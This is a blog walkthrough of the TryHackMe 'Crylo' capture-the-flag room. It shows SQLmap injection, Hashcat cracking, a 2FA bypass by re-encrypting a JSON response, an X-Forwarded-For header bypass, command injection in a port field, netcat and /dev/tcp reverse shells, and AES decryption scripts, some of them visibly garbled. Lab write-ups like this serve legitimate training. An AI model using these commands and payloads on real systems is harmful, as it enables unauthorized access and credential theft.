Circumventing 2FA and Cracking AES Encryption in Crylo CTF by TryHackMe

Circumventing 2FA and Cracking AES Encryption in Crylo CTF by TryHackMe

Aug 21, 2023ยท

6 min read

Play this article

This walkthrough covers the Crylo CTF found on TryHackMe. The room's theme focuses on identifying weaknesses in security controls designed to prevent unauthorized access. We will discuss SQLMap, HTTP Header manipulation, Hashcat, JSON parameters, and cracking AES-encrypted passwords through reverse engineering a script.

Step 1: Nmap

As always, we will begin by running a Nmap scan against our target to identify open ports, determine the types of services running, and attempt to obtain version information to assess if any vulnerabilities may exist.

nmap -sC -sV -p- -T4 crylo.thm -v

Based on the scan results, we can determine that the operating system is Linux and it is running an Nginx web server.

Step 2: Enumerating Web Directories

The next step in our methodology involves examining the existing directories on the webserver to determine if we can uncover any services with vulnerabilities.

ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt:FUZZ -u http://crylo.thm/FUZZ

From the results, we can see that there is a /login page and something called /debug that is returning a 403 redirect. This will prove vital in establishing our initial foothold later on.

Step 3: Conduct a Manual Website Review




Unfortunately, there is no vulnerability in the current web server version; however, the login page is susceptible to SQL injection. We will utilize SQLmap to automate this process and obtain our initial set of credentials.

Step 4: SQLmap

Let's navigate to the login page, intercept the request using Burp Suite, and explore the possible actions we can take with it using SQLmap.

Let's save this down as req.txt and run it through SQLmap to see if we can extract a database.

sqlmap -r req.txt --level=3 --risk=3 --dump --batch --thread=10

After running the scan, a database named "food" is discovered, containing a table called "auth_user." To dump the table, use the following command:

sqlmap -r req.txt --batch --dump -T auth_user -D food

Let's see if we can crack the admin and anof hashes using Hashcat. Notice that the hash type is Django (PBKDF2-SHA256).

Crack it:

hashcat -a 0 -m 10000 hash.txt /usr/share/wordlists/rockyou.txt

Excellent, we now have a set of credentials to log in with.

Step 5: Logging In

Upon entering our credentials, we are redirected to a page requesting a PIN.

After entering a random PIN, we are redirected to a page called /2fa.

Returning to the /login page and examining the source code, we discover an interesting JavaScript file named validation.js. Beginning at line 23, we observe that the variable jsonResponse either redirects to /2fa or /set-pin. We can initiate a PIN reset by intercepting the login request and modifying the variable jsonResponse.set_pin to False.

Intercepted request:

Intercept the response to the request "Content-Disposition: form-data; name="username"" on line 19 by right-clicking next to it, selecting "Intercept", and then choosing "Response to this request".

After intercepting the encrypted jsonResponse, we can utilize to create our own script, which will allow us to bypass the two-factor authentication and reset the PIN.

To decrypt the content, follow these steps:

  1. Copy the highlighted text:

  2. Grab the string from var k in validation.js:

  3. Decrypt the text to retrieve the JSON content.

Follow these steps to change the variable 'pin_set' to 'False' and encrypt the JSON text for use with Burp Suite.

  1. Copy and paste the following JSON string into the Encryption Text Field:

     {"pin_set": "false", "email": "", "success": "true"}
  2. Set the Secret Key and IV using the same string obtained from var k.

  3. Encrypt.

  4. Now replace the encrypted JSON in Burp Suite with our newly generated one.

  5. Proceed with the request, and you will be able to set up a new PIN.

  6. After setting up your new PIN, you will need to re-enter your login credentials. Once you do that, you will achieve a successful login.

Step 6: Debug and Initial Foothold

Unfortunately, we still cannot access the /debug webpage because it is only accessible to local users. However, we can bypass this restriction by adding the X-Forwarded-For header to our request.

Revise the request, and we will be granted access to the /debug page.

From here, we can attach a secondary command to a port like this:

80; whoami

Let's see if we can obtain a reverse shell from this. First, let's set up our listener:

rlwrap -cAr nc -lvnp 1337

Now, let's attach our shell:

80; nc 1337 | bash

Perfect, we received a callback. However, we can't do much with this shell, so let's see if we can obtain a better one using a bash one-liner. We'll need to set up another listener to catch this one.

Now, let's initiate a better shell:

bash -i >& /dev/tcp/ 0>&1

And we're ready to begin our privilege escalation to root!

Step 7: Privesc and Root

We can retrieve the user.txt flag from the /home/crylo directory.

Navigating to /home/crylo/Food/food/accounts reveals the encryption file used in the backend. Referring back to our SQLmap dump, we discovered an account named 'anof' with an unrecognizable hash. We can take the file from the /accounts directory and create a script to decrypt the hash.

# from Crypto.Cipher import AES
# from Crypto.Util.Padding import pad
from base64 import b64encode, b64decode
import base64

# key = '/I02fMuSSvnouuu+/vyyD7NuSEVDB/0gte/z50dM0b4='
# data = 'hello world!'

# cipher =, AES.MODE_CBC, iv=b'0123456789abcdef')
# padded_data = pad(data.encode(), cipher.block_size)
# ciphertext = cipher.encrypt(padded_data)
# print(b64encode(ciphertext))

#from Crypto.Cipher import AES
#from pkcs7 import PKCS7Encoder

#key = "8080808080808080".encode()
#mode = AES.MODE_CBC
#iv = "8080808080808080".encode()
#encoder = PKCS7Encoder()

# encryptor =, mode, iv)
# text = "Test@123"
# pad_text = encoder.encode(text)
# cipher = encryptor.encrypt(pad_text)
# enc_cipher = base64.b64encode(cipher)

# secret_text = '{"success":"false", "reason":"User or Password is invalid"}'
# #key = 'A16ByteKey......'
# mode = AES.MODE_CBC
# #iv = '\x00' * 16

# encoder = PKCS7Encoder()
# padded_text = encoder.encode(secret_text)

# e =, mode, iv)
# cipher_text = e.encrypt(padded_text.encode())

# output = (base64.b64encode(cipher_text))
# print(output.decode("utf-8"))
# #print("56iPf4PPRmHLusqyKpf7QQ==")

from Crypto.Util.Padding import pad, unpad
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
data = b'toor'   # 9 bytes
key = b'\xc9;\xd4b\xce\xc15\x19;\x00Z^Nw\xafp\x10\xce/r\x0c\xf1\x1c&\x1c\x12a\xd9&b"\xc3'
iv = b'!6\x0b\xc7Xg@\xcc\xe3KY\xcfN\x9b\x81\x91'
cipher1 =, AES.MODE_CBC, iv)
ct = cipher1.encrypt(pad(data, 16))


#cipher2 =, AES.MODE_CBC, iv)
#pt = unpad(cipher2.decrypt(b'\x9f\xc9P\xff\xb3Z\x94\x84\x8a\xeb1\xa2/\xba\x8d\xa5'), 16)
#assert(data == pt)

Let's create a script that uses elements from to decipher the hash.

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from base64 import b64decode

def main():
    encrypted_data = '<HASH_HERE>'
    data = b64decode(encrypted_data)

    key = b'\xc9;\xd4b\xce\xc15\x19;\x00Z^Nw\xafp\x10\xce/r\x0c\xf1\x1c&\x1c\x12a\xd9&b"\xc3'
    iv = b'!6\x0b\xc7Xg@\xcc\xe3KY\xcfN\x9b\x81\x91'

    cipher =, AES.MODE_CBC, iv)
    decrypted_data = unpad(cipher.decrypt(data), AES.block_size)

    print("Decrypted pass:", decrypted_data.decode('utf-8'))

if __name__ == "__main__":

Now we can switch users to 'anof' and obtain the root flag.


In this walkthrough, we explore the Crylo CTF on TryHackMe, focusing on identifying weaknesses in security controls. We cover various techniques such as using SQLMap, HTTP Header manipulation, Hashcat, JSON parameters, and cracking AES-encrypted passwords through reverse engineering a script. The steps include running Nmap scans, enumerating web directories, conducting manual website reviews, utilizing SQLmap, logging in, bypassing restrictions, obtaining initial footholds, and escalating privileges to root.

Did you find this article valuable?

Support Jake Garrison by becoming a sponsor. Any amount is appreciated!